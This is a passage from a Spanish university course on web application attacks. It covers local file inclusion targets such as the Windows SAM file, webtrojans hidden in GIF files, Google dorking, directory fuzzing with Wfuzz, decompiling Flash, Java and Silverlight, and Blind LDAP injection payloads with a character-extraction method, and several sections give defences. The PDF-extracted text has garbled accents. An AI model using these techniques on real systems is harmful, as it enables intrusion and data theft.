pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
        • 112 Meacutetodos para introducir XSS (cross site scripting)
        • 113 Diseccionando un ataque
        • 114 Filtros XSS
          • 12 Cross Site Request Forgery (CSRF)
          • 13 Clickjacking
            • 2 Ataques de inyeccioacuten de coacutedigo
              • 21 LDAP Injection
                • 211 LDAP Injection con ADAM de Microsoft
                • 212 LDAP Injection con OpenLDAP
                • 213 Conclusiones
                • 214 ldquoORrdquo LDAP Injection
                • 215 ldquoANDrdquo LDAP Injection
                  • 22 Blind LDAP Injection
                    • 221 Blind LDAP Injection en un entorno ldquoANDrdquo
                    • 222 Reconocimiento de clases de objetos de un aacuterbol LDAP
                    • 223 Blind LDAP Injection en un entorno ldquoORrdquo
                    • 224 Ejemplos Blind LDAP Injection
                      • 23 XPath
                        • 231 XPath injection y Blind XPath Injection
                        • 232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
                            • 3 Ataques de Path Transversal
                              • 31 Path Disclosure
                                • 4 Ataques de inyeccioacuten de ficheros
                                  • 41 Remote file inclusion
                                  • 42 Local file inclusion
                                  • 43 Webtrojans
                                    • 5 Google Hacking
                                    • 6 Seguridad por ocultacioacuten
                                      • 61 Descompiladores de applets web
                                        • 611 Flash
                                        • 612 Java
                                        • 613 NET
                                            • Bibliografiacutea
Page 42: Ataques a Aplicaciones Web

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

El resultado es una paacutegina web en la que se accede a propiedades de la impre-

sora en concreto

CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web

Figura 30 Propiedades de la impresora HP LaserJet 2100

El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-

nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de

los objetos que se puedan seleccionar con cualquier consulta ejecutada por

lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes

capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-

diante Blind LDAP Injection

1)Fase1descubrimientodeatributos

El atacante inyecta atributos para descubrir si existen o no Cuando el atributo

no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no

muestra datos de ninguna impresora

Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de

tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir

asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=

o = y para los booleanos las constantes true y false

Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico

En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de

tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto

se puede comprobar porque la paacutegina de resultados ha devuelto datos de la

impresora que se estaba utilizando

CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web

Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico

Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las

que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten

y el descubrimiento de los atributos simplemente comparando los resultados

HTML obtenidos

En la figura 33 se obtiene de nuevo un resultado positivo que confirma la

existencia de un atributo department

Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble

2)Fase2reduccioacutendelalfabeto

Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-

fabeto posible de valores en un campo La idea consiste en saber si existe o

no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres

de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres

tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten

Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-

ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos

dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir

15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones

+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se

puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a

utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza

como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28

es decir 148 peticiones

CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web

Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena

opcioacuten a la hora de extraer valores de campos

En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece

o no al valor del campo

Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos

Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos

Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse

para extraer el valor del dato mediante un proceso de despliegue

3)Fase3despliegue

En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas

para ello comenzaremos un proceso desde la primera posicioacuten

Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos

CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web

Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-

firme que con ese patroacuten se devuelven datos

Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos

Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a

buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la

fase de reduccioacuten del alfabeto

Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos

Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos

Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se

hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta

de los objetos del aacuterbol LDAP

LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-

rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet

realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-

On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet

CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web

Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro

de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas

de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo

la documentacioacuten existente son de poca ayuda pues en los entornos maacutes

comunes como ADAM u OpenLDAP no funcionan

La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones

consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-

viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines

para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra

aplicacioacuten

23 XPath

XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-

cumentos XML por medio de expresiones especiacuteficas para su estructura

Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de

la organizacioacuten de nodos que poseen los ficheros XML

Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-

ble implementarlo en aplicaciones web de modo que pueden sustituir a los

SGBD (sistema gestor de base de datos) basados en SQL

231 XPath injection y Blind XPath Injection

XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los

paraacutemetros de buacutesqueda a la hora de formar una query XPath

Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-

tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML

Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL

Injection LDAP Injection) son fallos de seguridad causados por una mala

programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-

queda sin importar que la aplicacioacuten sea de escritorio o web

Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-

poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten

contra un aacuterbol XML con la siguiente estructura

ltxml version=10 encoding=UTF-8gt

ltusuariosgt

ltusuario login=admin password=t1oviv0 nivel=3 gt

